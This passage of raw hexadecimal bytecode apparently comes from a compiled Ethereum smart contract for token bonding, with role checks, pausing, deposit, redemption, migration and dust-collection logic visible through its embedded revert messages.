600080fd5b5061023f60055481565b34801561046857600080fd5b5061023f6126a6565b34801561047d57600080fd5b5061028861048c36600461594b565b612804565b34801561049d57600080fd5b506102886104ac366004615933565b613150565b3480156104bd57600080fd5b5061033f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b3480156104e557600080fd5b5061023f60065481565b3480156104fb57600080fd5b5061023f6132b8565b34801561051057600080fd5b5061028861051f3660046157e3565b6135ba565b34801561053057600080fd5b5061028861053f36600461576b565b6136f1565b34801561055057600080fd5b5061023f670de0b6b3a764000081565b34801561056c57600080fd5b5061023f61057b36600461594b565b613830565b34801561058c57600080fd5b50600a5461033f906001600160a01b031681565b3480156105ac57600080fd5b506102886105bb36600461576b565b61386d565b3480156105cc57600080fd5b5061023f6105db36600461594b565b6139cf565b3480156105ec57600080fd5b506102886105fb36600461587d565b613e4c565b34801561060c57600080fd5b5061023f61061b36600461576b565b600f6020526000908152604090205481565b34801561063957600080fd5b5061028861064836600461576b565b613ea8565b600b546001600160a01b0316331461069b5760405162461bcd60e51b815260206004820152600c60248201526b3737ba1036b4b3b930ba37b960a11b60448201526064015b60405180910390fd5b600b805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561071657600080fd5b505afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561078b57600080fd5b505afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c39190615899565b6107fd5760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b610808838383613fe4565b505050565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089191906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156108ce57600080fd5b505afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109069190615899565b6109405760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b60068190556040518181527f3a1c0b7d3cdecbab83b82697d51cbcdb308b3bbae63e597cbc958deb9c830e50906020015b60405180910390a150565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0091906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a3d57600080fd5b505afa158015610a51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a759190615899565b610aaf5760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610aff57600080fd5b505afa158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b379190615787565b604051630d2680e960e11b815260048101849052600060248201819052604482018190529192506001600160a01b03831690631a4d01d290606401602060405180830381600087803b158015610b8c57600080fd5b505af1158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc491906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1457600080fd5b505afa158015610c28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4c9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610c8657600080fd5b505af1158015610c9a573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610cee57600080fd5b505afa158015610d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d269190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015610d6757600080fd5b505afa158015610d7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9f91906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610def57600080fd5b505afa158015610e03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e279190615787565b6001600160a01b031663a9059cbb600460009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8357600080fd5b505afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190615787565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b158015610f0357600080fd5b505af1158015610f17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3b9190615899565b507f621af463096d58966fa48f497088db472e960b9f399d8cbf787ec0f7d2253365600460009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610fab57600080fd5b505afa158015610fbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe39190615787565b604080516001600160a01b03909216825260208201859052810183905260600160405180910390a150505050565b600480546040805163e63ab1e960e01b815290516001600160a01b03909216926391d1485492849263e63ab1e99281810192602092909190829003018186803b15801561105d57600080fd5b505afa158015611071573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109591906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156110d257600080fd5b505afa1580156110e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110a9190615899565b6111435760405162461bcd60e51b815260206004820152600a6024820152693737ba103830bab9b2b960b11b6044820152606401610692565b61114b614195565b565b60025460ff16156111935760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b60008061119f84614231565b815191935091506111ae61470a565b60006111be828460600151613830565b9050306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f957600080fd5b505afa15801561120d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112319190615787565b6001600160a01b031663d5a8cf648486846040518463ffffffff1660e01b8152600401611260939291906159f2565b60206040518083038186803b15801561127857600080fd5b505afa15801561128c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b091906158b5565b9050808360a0018181516112c49190615ab1565b905250600880548291906000906112dc908490615b08565b92505081905550611380333089600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015613133757600080fd5b505afa15801561134b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136f9190615787565b6001600160a01b0316929190614afd565b868360a0018181516113929190615ab1565b9052506004805460408051630110f17360e51b815290516001600160a01b039092169263221e2e60928282019260209290829003018186803b1580156113d757600080fd5b505afa1580156113eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140f9190615787565b604051635ae2fb3960e11b815233600482015260248101849052604481018890526001600160a01b03919091169063b5c5f67290606401600060405180830381600087803b15801561146057600080fd5b505af1158015611474573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b1580156114c857600080fd5b505afa1580156114dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115009190615787565b60a085015160055460405163016cdd2960e61b815260048101929092526024820189905260448201526001600160a01b039190911690635b374a409060640160206040518083038186803b15801561155757600080fd5b505afa15801561156b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158f91906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156115df57600080fd5b505afa1580156115f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116179190615787565b604051630efe6a8b60e01b815233600482015260248101839052604481018990526001600160a01b039190911690630efe6a8b90606401600060405180830381600087803b15801561166857600080fd5b505af115801561167c573d6000803e3d6000fd5b505050506006548661168e9190615ae9565b6116989043615ab1565b60808501526116a561470a565b64e8d4a51000600754600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156116fc57600080fd5b505afa158015611710573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117349190615787565b6001600160a01b0316637b80a5c08a6040518263ffffffff1660e01b815260040161176191815260200190565b604080518083038186803b15801561177857600080fd5b505afa15801561178c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b09190615817565b516117bb9190615ae9565b6117c59190615ac9565b6060850152600480546040805163310c7a0f60e21b815290516001600160a01b039092169263c431e83c928282019260209290829003018186803b15801561180c57600080fd5b505afa158015611820573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118449190615787565b60a0850151606086015160808701516040516353ab9e7560e11b8152600481018c90526024810193909352604483019190915260648201526001600160a01b03919091169063a7573cea90608401600060405180830381600087803b1580156118ac57600080fd5b505af11580156118c0573d6000803e3d6000fd5b50505060a0850151604080519182526020820184905289925033917f4419681a20e94d59aaa91e563559dc52e7fb9ec1540b072ce92014f31961ce0091015b60405180910390a35050505050505050565b600480546040805163310c7a0f60e21b8152905160009384936001600160a01b03169263c431e83c9281830192602092829003018186803b15801561195557600080fd5b505afa158015611969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198d9190615787565b604051636c7f3b2160e11b8152600481018590529091506000906001600160a01b0383169063d8fe76429060240160c06040518083038186803b1580156119d357600080fd5b505afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b91906158cd565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015611a5d57600080fd5b505afa158015611a71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a959190615787565b6001600160a01b0316637b80a5c0866040518263ffffffff1660e01b8152600401611ac291815260200190565b604080518083038186803b158015611ad957600080fd5b505afa158015611aed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b119190615817565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015611b6357600080fd5b505afa158015611b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9b9190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015611bdc57600080fd5b505afa158015611bf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c1491906158b5565b9050600954846001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c5257600080fd5b505afa158015611c66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8a91906158b5565b611c949190615ab1565b8110611ea1576000600954856001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611cd857600080fd5b505afa158015611cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d1091906158b5565b611d1a9190615ab1565b611d249083615b08565b60075460085491925090821115611e6757600060085483611d459190615b08565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015611d9557600080fd5b505afa158015611da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dcd9190615787565b6001600160a01b0316633a98ef396040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0557600080fd5b505afa158015611e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3d91906158b5565b611e4c8264e8d4a51000615ae9565b611e569190615ac9565b600754611e639190615ab1565b9150505b6060850151845164e8d4a5100090611e80908490615ae9565b611e8a9190615ac9565b611e949190615b08565b9650505050505050611eaa565b60009450505050505b919050565b60038054611ebc90615b4b565b80601f0160208091040260200160405190810160405280929190818152602001828054611ee890615b4b565b8015611f355780601f10611f0a57610100808354040283529160200191611f35565b820191906000526020600020905b815481529060010190602001808311611f1857829003601f168201915b505050505081565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b158015611f8957600080fd5b505afa158015611f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc191906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015611ffe57600080fd5b505afa158015612012573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120369190615899565b6120705760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b1580156120c057600080fd5b505afa1580156120d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120f89190615787565b604051630d2680e960e11b815260048101849052600160248201526000604482018190529192506001600160a01b03831690631a4d01d290606401602060405180830381600087803b15801561214d57600080fd5b505af1158015612161573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061218591906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b1580156121d557600080fd5b505afa1580156121e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061220d9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561224757600080fd5b505af115801561225b573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b1580156122af57600080fd5b505afa1580156122c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e79190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561232857600080fd5b505afa15801561233c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061236091906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b1580156123b057600080fd5b505afa1580156123c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123e89190615787565b6001600160a01b031663a9059cbb600460009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b15801561244457600080fd5b505afa158015612458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061247c9190615787565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156124c457600080fd5b505af11580156124d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fc9190615899565b507f621af463096d58966fa48f497088db472e960b9f399d8cbf787ec0f7d2253365600460009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b158015610fab57600080fd5b600480546040805163e63ab1e960e01b815290516001600160a01b03909216926391d1485492849263e63ab1e99281810192602092909190829003018186803b1580156125b857600080fd5b505afa1580156125cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125f091906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561262d57600080fd5b505afa158015612641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126659190615899565b61269e5760405162461bcd60e51b815260206004820152600a6024820152693737ba103830bab9b2b960b11b6044820152606401610692565b61114b614b7d565b60105460009060ff166126fb5760405162461bcd60e51b815260206004820152601060248201527f6e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610692565b50336000908152600f60205260409020548061274a5760405162461bcd60e51b815260206004820152600e60248201526d6e6f74207631206164647265737360901b6044820152606401610692565b612800600c61275a600184615b08565b8154811061277857634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316600d61279a600185615b08565b815481106127b857634e487b7160e01b600052603260045260246000fd5b9060005260206000200154600e6001856127d29190615b08565b815481106127f057634e487b7160e01b600052603260045260246000fd5b9060005260206000200154614bf8565b5090565b60025460ff161561284a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b60008061285683614231565b91509150838160a0015110156128ae5760405162461bcd60e51b815260206004820152601760248201527f426f6e64696e673a20616d6f756e7420746f6f206269670000000000000000006044820152606401610692565b6000306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156128e957600080fd5b505afa1580156128fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129219190615787565b6001600160a01b031663629056cb8385886040518463ffffffff1660e01b8152600401612950939291906159f2565b60206040518083038186803b15801561296857600080fd5b505afa15801561297c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a091906158b5565b90506129aa61470a565b825160608301516000916129bd91613830565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015612a0d57600080fd5b505afa158015612a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a459190615787565b604051635ae2fb3960e11b815233600482015260248101849052604481018790526001600160a01b03919091169063b5c5f67290606401600060405180830381600087803b158015612a9657600080fd5b505af1158015612aaa573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015612afe57600080fd5b505afa158015612b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b369190615787565b9050306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612b7157600080fd5b505afa158015612b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ba99190615787565b6001600160a01b031663a64154f08587856040518463ffffffff1660e01b8152600401612bd8939291906159f2565b60206040518083038186803b158015612bf057600080fd5b505afa158015612c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c2891906158b5565b91506000306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612c6557600080fd5b505afa158015612c79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c9d9190615787565b6001600160a01b031663a609d912600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b158015612cf957600080fd5b505afa158015612d0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d319190615787565b6001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d6957600080fd5b505afa158015612d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612da191906158b5565b6008546040516370a0823160e01b81523060048201526001600160a01b038716906370a082319060240160206040518083038186803b158015612de357600080fd5b505afa158015612df7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e1b91906158b5565b612e259190615b08565b6040516001600160e01b031960e085901b16815260048101929092526024820152604481018b905260640160206040518083038186803b158015612e6857600080fd5b505afa158015612e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ea091906158b5565b90508260086000828254612eb49190615b08565b92505081905550878560a001818151612ecd9190615b08565b9052506007546004805460408051630110f17360e51b8152905164e8d4a5100094936001600160a01b039093169263221e2e6092808201926020929091829003018186803b158015612f1e57600080fd5b505afa158015612f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f569190615787565b6001600160a01b0316637b80a5c08a6040518263ffffffff1660e01b8152600401612f8391815260200190565b604080518083038186803b158015612f9a57600080fd5b505afa158015612fae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fd29190615817565b51612fdd9190615ae9565b612fe79190615ac9565b6060860152600480546040805163310c7a0f60e21b815290516001600160a01b039092169263c431e83c928282019260209290829003018186803b15801561302e57600080fd5b505afa158015613042573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130669190615787565b60a0860151606087015160808801516040516353ab9e7560e11b8152600481018c90526024810193909352604483019190915260648201526001600160a01b03919091169063a7573cea90608401600060405180830381600087803b1580156130ce57600080fd5b505af11580156130e2573d6000803e3d6000fd5b505050506131073384836130f69190615ab1565b6001600160a01b0385169190614fc3565b604080518981526020810183905290810184905260608101859052879033907fc37eb4d6b54bc2ffba48f4514cb217734c7ecd7c680cd2861e64ca48bc37a955906080016118ff565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561319c57600080fd5b505afa1580156131b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131d491906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561321157600080fd5b505afa158015613225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132499190615899565b6132835760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b60058190556040518181527fd04894175d9fa4e8890c5d32ca8845426912f890c3d8ac5b5a561045892f899590602001610971565b6004805460408051630110f17360e51b8152905160009384936001600160a01b03169263221e2e609281830192602092829003018186803b1580156132fc57600080fd5b505afa158015613310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133349190615787565b6001600160a01b0316633a98ef396040518163ffffffff1660e01b815260040160206040518083038186803b15801561336c57600080fd5b505afa158015613380573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133a491906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b1580156133f457600080fd5b505afa158015613408573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061342c9190615787565b6001600160a01b031663cd324209600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561348857600080fd5b505afa15801561349c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134c09190615787565b6001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b1580156134f857600080fd5b505afa15801561350c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061353091906158b5565b6040516001600160e01b031960e084901b168152600481019190915260248101849052670de0b6b3a7640000604482015260640160206040518083038186803b15801561357c57600080fd5b505afa158015613590573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135b491906158b5565b91505090565b600b546001600160a01b031633146136035760405162461bcd60e51b815260206004820152600c60248201526b3737ba1036b4b3b930ba37b960a11b6044820152606401610692565b600c805460018082019092557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c701805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038616179055600d8054918201815560009081527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb59091018390556009805484929061369e908490615ab1565b9091555050600e8054600181019091557fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd015550600c546001600160a01b039091166000908152600f6020526040902055565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561373d57600080fd5b505afa158015613751573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061377591906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156137b257600080fd5b505afa1580156137c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ea9190615899565b6138245760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b61382d81614ff3565b50565b60075460009015613867578164e8d4a51000600754856138509190615ae9565b61385a9190615ac9565b6138649190615b08565b90505b92915050565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b1580156138b957600080fd5b505afa1580156138cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138f191906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561392e57600080fd5b505afa158015613942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139669190615899565b6139a05760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b600a805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006139dd60025460ff1690565b15613a1d5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b81600111158015613a2f575060d08211155b613aa15760405162461bcd60e51b815260206004820152603160248201527f426f6e64696e673a206475726174696f6e206d7573742062652062657477656560448201527f6e203120616e6420323038207765656b730000000000000000000000000000006064820152608401610692565b6004805460408051638fe6368360e01b815290516001600160a01b0390921692638fe63683928282019260209290829003018186803b158015613ae357600080fd5b505afa158015613af7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b1b9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015613b5557600080fd5b505af1158015613b69573d6000803e3d6000fd5b50505050613b7561470a565b613bc9333085600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015613133757600080fd5b6000600460009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b158015613c1957600080fd5b505afa158015613c2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c519190615787565b60055460405163016cdd2960e61b8152600481018790526024810186905260448101919091526001600160a01b039190911690635b374a409060640160206040518083038186803b158015613ca557600080fd5b505afa158015613cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cdd91906158b5565b9050600060065484613cef9190615ae9565b613cf99043615ab1565b9050613d07338684846150b5565b9250600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015613d5757600080fd5b505afa158015613d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d8f9190615787565b604051630efe6a8b60e01b815233600482015260248101849052604481018590526001600160a01b039190911690630efe6a8b90606401600060405180830381600087803b158015613de057600080fd5b505af1158015613df4573d6000803e3d6000fd5b50506040805188815260208101869052908101879052606081018490528592503391507ff943cf10ef4d1e3239f4716ddecdf546e8ba8ab0e41deafd9a71a99936827e459060800160405180910390a3505092915050565b600b546001600160a01b03163314613e955760405162461bcd60e51b815260206004820152600c60248201526b3737ba1036b4b3b930ba37b960a11b6044820152606401610692565b6010805460ff1916911515919091179055565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b158015613ef457600080fd5b505afa158015613f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f2c91906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015613f6957600080fd5b505afa158015613f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fa19190615899565b613fdb5760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b61382d8161527a565b6001600160a01b0383166140605760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a63616e742d73656e642d6475737460448201527f2d746f2d7a65726f2d61646472657373000000000000000000000000000000006064820152608401610692565b61406b60008361532f565b156140d05760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b6064820152608401610692565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415614131576040516001600160a01b0384169082156108fc029083906000818181858888f1935050505015801561412b573d6000803e3d6000fd5b50614145565b6141456001600160a01b0383168483614fc3565b604080516001600160a01b038086168252841660208201529081018290527f1e34c1aee8e83c2dcc14c21bb4bfeea7f46c0c998cb797ac7cc4d7a18f5c656b9060600160405180910390a1505050565b60025460ff166141e75760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610692565b6002805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b61423961574d565b61427b6040518060c0016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160008152602001600081525090565b600480546040805163310c7a0f60e21b815290516001600160a01b039092169263c431e83c928282019260209290829003018186803b1580156142bd57600080fd5b505afa1580156142d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906142f59190615787565b604051627eeac760e11b8152336004820152602481018590526001600160a01b03919091169062fdd58e9060440160206040518083038186803b15801561433b57600080fd5b505afa15801561434f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061437391906158b5565b6001146143c25760405162461bcd60e51b815260206004820152601c60248201527f426f6e64696e673a2063616c6c6572206973206e6f74206f776e6572000000006044820152606401610692565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561441257600080fd5b505afa158015614426573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061444a9190615787565b604051636c7f3b2160e11b8152600481018690529091506001600160a01b0382169063d8fe76429060240160c06040518083038186803b15801561448d57600080fd5b505afa1580156144a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144c591906158cd565b9150816080015143116145405760405162461bcd60e51b815260206004820152602f60248201527f426f6e64696e673a2052656465656d206e6f7420616c6c6f7